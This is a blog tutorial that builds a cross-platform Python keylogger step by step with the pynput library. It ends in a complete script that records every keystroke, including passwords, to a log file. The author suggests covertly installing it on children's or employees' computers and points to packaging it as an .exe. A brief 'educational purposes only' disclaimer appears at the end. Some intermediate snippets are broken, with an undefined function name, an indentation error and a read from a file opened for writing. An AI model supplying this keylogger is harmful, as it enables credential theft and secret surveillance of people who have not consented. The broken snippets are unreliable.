AMAZING PYTHON KEY-LOGGER P-1

Amazing Python Keylogger P-1

Basically, this amazing Python keylogger will run on all platforms like Windows, Mac, and Linux. This Python keylogger will use the pynput module. This python keylogger will collect typed keys in a file in order of when they were typed.

Step 1: Download and Install PyCharm Community Edition

Download and Install PyCharm Community Edition (IDE for developers) Download link: Click Here.

Step 2: Download and Run Python 3.7

Download and Run Python 3.7 Click Here.

Step 2.1: Installing Python 3.7

If are you already Installed Python you can skip Step2. So after downloading Python follow my steps to install it.

Select Add Python 3.7 To Path

Select Customize Installation

Check All Available options and Select Next

Check Those 5 Boxes and Save python in C:\Python37 directory

Then Open Windows PowerShell and Run as Administrator

First Check pip is installed or not otherwise it will show an error.

To Install Any Module Syntex Is pip install <Module_Name>

For example: pip install pynput

Step 3: Creating a new project in Pycharm

Then Pycharm will be ready.

python keylogger

So now I named my python file as main, then hit enter boom now you are ready to code and execute.

Step 4: Understand & Create:

Our keylogger will work like taking keystrokes from the user’s keyboard and then it will store key logs in a text file. Suppose you typed “A” it will store in a text file.

Now we will use open () function. Means this open () will create a log.txt file, If the user not yet created, It will automatically create log.txt file.

WRITING IN THE LOG FILE
f = open("log.txt", 'w') #w (write) will create log.txt file 
f.write("This code will execute!") #This function will save those words in log.txt
f.close() #It will close the function

# r -Reading
# w - Writing
# a- appending to a file

Execute this above code in pycham. And view in the log.txt file.

READING IN THE LOG FILE
f = open("log.txt", 'w') #w (write) will create log.txt file 
f.write("This code will execute!") #This function will save those words in log.txt
insidefile = f.read() #insidefile is a variable where I am storing output
print (insidefile) # It will print the output
f.close() #It will close the function

# r -Reading
# w - Writing
# a- appending to a file

Execute this above code in pycham. It will show This code will execute! in pycham console.

APPENDING IN THE LOG FILE
f = open("log.txt", 'a') #a (append) will append log.txt file 
f.write("This code will execute!") #This function will save those words in log.txt
f.close() #It will close the function

#/n  (backslash n will go to new line)
# a- appending to a file

In the situation of keyloggers, appending is the most important function. Appending means to add something to the end of the writing. In the Keylogger scenario, we will be using the append function because if we use the write function It will rewrite our log.txt so our key logger will not work. To solve the issue I wrote append function. And we don’t need write and read functions. Execute the above program on Pycharm. I will display This code will execute! and the cursor will be in the next line in Pycham console.

Now I explained pretty much about main functions. To make it faster I will use #(pound sign to highlight the explanations in the code). So remember don’t feel shy to ask any question, please comment down below If you have any doubt.

USING WITH AND AS F
# Listeners -Listen to keystokes
# Use of 'with' keyword - Release memory/resources automatically

with open("log.txt", 'a') as f:  # as f will store the values in variable f
    f.write("Hello World")
# we dont need to close the file

The listener will work when the key will be pressed, so we used with and as f to close it automatically.

The python script will run in the background and once the key is pressed on the keyboard, it will send that key to the function responsible for writing to a file. The function will take that key and store it in the log.txt file.

PYNPUT

Listening to the keystrokes using python, we use a python’s package pynput. Pynput is a library of controlling input streams, which means a thing using which we can give input on a computer. For example a mouse and a keyboard. Things you can do with pynput are:

  • Listen and control your mouse
  • Listen and control your keyboard

LISTENING FROM KEYBOARD
from pynput.keyboard import Listener #importing the listiner from pynput package


def write_to_file(key):
    letter = str(key)
    with open("log.txt", 'a') as f:
            f.write(letter)

with Listener(on_press=writetofile) as l:
     l.join() 

We need to listen to keystrokes so I need to import a Listener. The first thing I need to do is import the Listener from the pynput package by typing from pynput. keyboard import Listener then a function is required to collect raw keys. Like when the key is pressed then the program will run else it will sleep because we don’t know when we should start and stop the program. So In simple language when the user will start typing then it will start recording keystrokes in the log.txt

So if you test this code on Pycharm. It will show unordered way means :

  • Input keystrokes: google.com
  • Output Keystrokes: 'g''o''o''g''l''e''.''c''o''m''

REMOVING SINGLE QUOTES

As you read that single quote will print after joining a letter. In my view, it should have a readable output, so we need to remove the single quotes.

  • Input keystrokes: google.com
  • Output Keystrokes: 'g''o''o''g''l''e''.''c''o''m''
from pynput.keyboard import Listener #importing the listiner from pynput package


def write_to_file(key):
    letter = str(key)
    letter = letter.replace("'", "") #This function will replace single quote to nothing
    with open("log.txt", 'a') as f:
            f.write(letter)

with Listener(on_press=writetofile) as l:
     l.join() 

Now, execute this program on Pycharm. If you followed all steps correctly then congrats! 90% ( Amazing Python Keylogger P-1 ) is done.

GIVING A NAMES FOR RAW KEYS

Suppose I typed: The Tech Booster

The output will be:

Key.caps_locktKey.caps_lockheKey.spaceKey.shifttechKey.spaceKey.caps_lockbKey.caps_lockooster 

So we should make easier to read by naming the raw keys.

from pynput.keyboard import Listener  # importing the listiner from pynput package


def write_to_file(key):
    letter = str(key)
    letter = letter.replace("'", "")  # This function will replace single quote to nothing
    if letter == 'Key.space':
    letter = ' '
    with open("log.txt", 'a') as f:
        f.write(letter)


with Listener(on_press=writetofile) as l:
    l.join() 

So basically, what I did, I replaced this Key.spaceKey with " " an orginal space to make it more easy to read. So guess how can I replace Key.caps_lock simple, just replace with "[ENTER]"

full-fledged Python Keylogger

Now I gave some typical keys used by daily users, to write Id, passwords, emails, and random tasks. If you are parents or an owner of a business, You can simply put this keylogger to view, If kids or workers doing any illegal works using there pc. This is a Cross-platform keylogger, which means you can use it on windows, mac, or in Linux.

from pynput.keyboard import Listener

def write_to_file(key):
    letter = str(key)
    letter = letter.replace("'", "")
    if letter == 'Key.space':
        letter = '[SPACE]'
    elif letter == 'Key.shift':
        letter = '[SHIFT]'
    elif letter == 'Key.shift_l':
        letter = '[SHIFT LEFT]'
    elif letter == 'Key.shift_r':
        letter = '[SHIFT RIGHT]'
    elif letter == "Key.ctrl_l":
        letter = "[CTRL LEFT]"
    elif letter == "Key.ctrl_r":
        letter = "[CTRL RIGHT]"
    elif letter == "Key.caps_lock":
        letter = "[CAPS]"
    elif letter == "Key.backspace":
        letter = "[BACKSPACE]"
    elif letter == "Key.num_lock":
        letter = "[NUM LOCK]"
    elif letter == 'Key.home':
        letter = '[HOME]'
    elif letter == "Key.up":
        letter = "[UP]"
    elif letter == 'Key.end':
        letter = '[END]'
    elif letter == "Key.down":
        letter = "[DOWN]"
    elif letter == "Key.page_down":
        letter = "[PAGE DOWN]"
    elif letter == "Key.page_up":
        letter = "[PAGE UP]"
    elif letter == "Key.enter":
        letter = "\n [ENTER]"
    elif letter == 'Key.alt_l':
        letter = "[ALT]"
    elif letter == 'Key.tab':
        letter = "[TAB]"
    elif letter == 'Key.delete':
        letter = "[DEL]"
    elif letter == 'Key.left':
        letter = "[LEFT ARROW]"
    elif letter == 'Key.right':
        letter = "[RIGHT ARROW]"
    elif letter == '\\x13':
        letter = "[CTRL-S]"
    elif letter == '\\x17':
        letter = "[CTRL-W]"
    elif letter == '\\x01':
        letter = "[CTRL-A]"
    elif letter == 'Key.cmd':
        letter = "[WINDOWS KEY]"
    elif letter == 'Key.print_screen':
        letter = "[PRNT SCR]"
    elif letter == '\\x03':
        letter = "[CTRL-C]"
    elif letter == '\\x16':
        letter = "[CTRL-V]"
    with open("log.txt", 'a') as f:
        f.write(letter)
with Listener(on_press=write_to_file) as i:
    i.join()

Now copy this full-fledged keylogger code into your Pycharm. Execute it I am sure that it will work perfectly. If you faced any problem feel free to comment down below. I would love to reply to your doubts.

Recommend to read: Google Search |Google Dorks |Google’s Best SEO Rules

Note: It is only Amazing Python Keylogger Part 1. In the future, I will post a more advanced keylogger. So that you can avoid expensive rental or trial keylogger software. And please don’t use this keylogger for any kind of illegal activity. It’s meant for educational purposes only. This site doesn’t take responsibility for any malicious activity.

F.A.Q

  1. How to Convert your Python Keylogger to .exe

About the author

Orvill

Hi, I'm Orvill Samanta, an aspiring blogger with an obsession for all things tech. This blog is dedicated to helping peoples learn about technology.

View all posts

7 Comments

Leave a Reply

Your email address will not be published. Required fields are marked *